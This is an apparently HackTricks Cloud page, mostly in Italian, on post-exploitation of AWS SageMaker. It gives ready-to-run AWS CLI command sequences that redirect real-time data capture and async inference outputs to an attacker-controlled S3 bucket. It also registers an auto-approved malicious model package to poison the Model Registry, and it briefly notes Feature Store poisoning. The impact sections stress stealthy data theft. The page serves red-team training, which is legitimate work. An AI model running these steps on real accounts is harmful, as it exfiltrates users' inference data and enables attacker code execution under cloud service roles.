AWS - SageMaker Post-Exploitation
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Estrazione dei dati dallâendpoint SageMaker tramite UpdateEndpoint DataCaptureConfig
Abusare della gestione degli endpoint SageMaker per abilitare la cattura completa di request/response in un attackerâcontrolled S3 bucket senza toccare il model o il container. Utilizza un zero/lowâdowntime rolling update e richiede solo i permessi di gestione dellâendpoint.
Requisiti
- IAM:
sagemaker:DescribeEndpoint,sagemaker:DescribeEndpointConfig,sagemaker:CreateEndpointConfig,sagemaker:UpdateEndpoint - S3:
s3:CreateBucket(o usare un bucket esistente nello stesso account) - Opzionale (se si usa SSEâKMS):
kms:Encryptsulla CMK scelta - Target: Un endpoint InService realâtime esistente nello stesso account/regione
Passaggi
- Identificare un endpoint InService e raccogliere le varianti di produzione correnti
REGION=${REGION:-us-east-1}
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
echo "Endpoint=$EP"
CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
echo "EndpointConfig=$CFG"
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
- Preparare la destinazione S3 dellâattacker per le captures
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-capture-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
- Crea un nuovo EndpointConfig che mantiene le stesse varianti ma abilita DataCapture verso attacker bucket
Nota: Usa tipi di contenuto espliciti che soddisfino la validazione della CLI.
NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
{
"EnableCapture": true,
"InitialSamplingPercentage": 100,
"DestinationS3Uri": "s3://$BUCKET/capture",
"CaptureOptions": [
{"CaptureMode": "Input"},
{"CaptureMode": "Output"}
],
"CaptureContentTypeHeader": {
"JsonContentTypes": ["application/json"],
"CsvContentTypes": ["text/csv"]
}
}
JSON
aws sagemaker create-endpoint-config \
--region $REGION \
--endpoint-config-name "$NEWCFG" \
--production-variants file:///tmp/pv.json \
--data-capture-config file:///tmp/dc.json
- Applica la nuova config con un rolling update (downtime minimo/nullo)
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
- Generare almeno una chiamata di inferenza (opzionale se è presente traffico live)
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
--content-type application/json --accept application/json \
--body fileb:///tmp/payload.json /tmp/out.bin || true
- Verificare captures in attacker S3
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
Impatto
- Full exfiltration of realâtime inference request and response payloads (and metadata) dallâendpoint di destinazione a un S3 bucket controllato dallâattaccante.
- Nessuna modifica allâimmagine del model/container e solo modifiche a livello di endpoint, consentendo un percorso di data theft furtivo con minima interruzione operativa.
SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
Abusa della gestione degli endpoint per reindirizzare gli output di inferenza asincrona a un S3 bucket controllato dallâattaccante clonando lâEndpointConfig corrente e impostando AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Questo exfiltrates le model predictions (e qualsiasi transformed inputs inclusi dal container) senza modificare il model/container.
Requisiti
- IAM:
sagemaker:DescribeEndpoint,sagemaker:DescribeEndpointConfig,sagemaker:CreateEndpointConfig,sagemaker:UpdateEndpoint - S3: CapacitĂ di scrivere sul S3 bucket controllato dallâattaccante (tramite il model execution role o una bucket policy permissiva)
- Target: un endpoint InService in cui le invocazioni asincrone sono (o saranno) utilizzate
Passaggi
- Raccogliere i current ProductionVariants dallâendpoint target
REGION=${REGION:-us-east-1}
EP=<target-endpoint-name>
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
- Crea un bucket dellâattaccante (assicurati che il ruolo di esecuzione del modello possa effettuare PutObject su di esso)
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION || true
- Clona EndpointConfig e hijack gli output di AsyncInference al attacker bucket
NEWCFG=${CUR_CFG}-async-exfil
cat > /tmp/async_cfg.json << JSON
{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
JSON
aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "$NEWCFG" --production-variants file:///tmp/pv.json --async-inference-config file:///tmp/async_cfg.json
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
- Eseguire unâinvocazione asincrona e verificare che gli oggetti finiscano nello S3 dellâattaccante
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
sleep 30
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
Impact
- Reindirizza i risultati di inferenza asincrona (e i corpi degli errori) a S3 controllato dallâattaccante, abilitando la covert exfiltration delle predizioni e, potenzialmente, degli input pre/post-processati sensibili prodotti dal container, senza cambiare il codice del modello o lâimmagine e con downtime minimo/nullo.
SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
If an attacker can CreateModelPackage on a target SageMaker Model Package Group, they can register a new model version that points to an attacker-controlled container image and immediately mark it Approved. Many CI/CD pipelines auto-deploy Approved model versions to endpoints or training jobs, resulting in attacker code execution under the serviceâs execution roles. Cross-account exposure can be amplified by a permissive ModelPackageGroup resource policy.
Requirements
- IAM (minimum to poison an existing group):
sagemaker:CreateModelPackageon the target ModelPackageGroup - Optional (to create a group if one doesnât exist):
sagemaker:CreateModelPackageGroup - S3: accesso in lettura al ModelDataUrl referenziato (o ospitare artefatti controllati dallâattaccante)
- Target: un Model Package Group che lâautomazione downstream monitora per versioni Approved
Steps
- Imposta la regione e crea/trova un Model Package Group target
REGION=${REGION:-us-east-1}
MPG=victim-group-$(date +%s)
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
- Preparare dati modello fittizi in S3
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
head -c 1024 </dev/urandom > /tmp/model.tar.gz
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
- Registrare una Approved model package version malevola (qui benigna) che fa riferimento a unâimmagine AWS DLC pubblica
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
cat > /tmp/inf.json << JSON
{
"Containers": [
{
"Image": "$IMG",
"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
}
],
"SupportedContentTypes": ["text/csv"],
"SupportedResponseMIMETypes": ["text/csv"]
}
JSON
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
- Verificare che esista la nuova versione Approved
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
Impatto
- Avvelenare il Model Registry con una versione Approved che fa riferimento a codice controllato dallâattaccante. Le Pipelines che distribuiscono automaticamente modelli Approved possono scaricare ed eseguire lâimmagine dellâattaccante, causando lâesecuzione di codice con i ruoli endpoint/training.
- Con una policy permissiva sulla risorsa ModelPackageGroup (PutModelPackageGroupPolicy), questo abuso può essere innescato tra account.
Avvelenamento del Feature Store
Abusa di sagemaker:PutRecord su una Feature Group con OnlineStore abilitato per sovrascrivere i valori delle feature in tempo reale utilizzati dallâinferenza online. In combinazione con sagemaker:GetRecord, un attaccante può leggere feature sensibili. Questo non richiede accesso a modelli o endpoint.
{{#ref}} feature-store-poisoning.md {{/ref}}
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
HackTricks Cloud

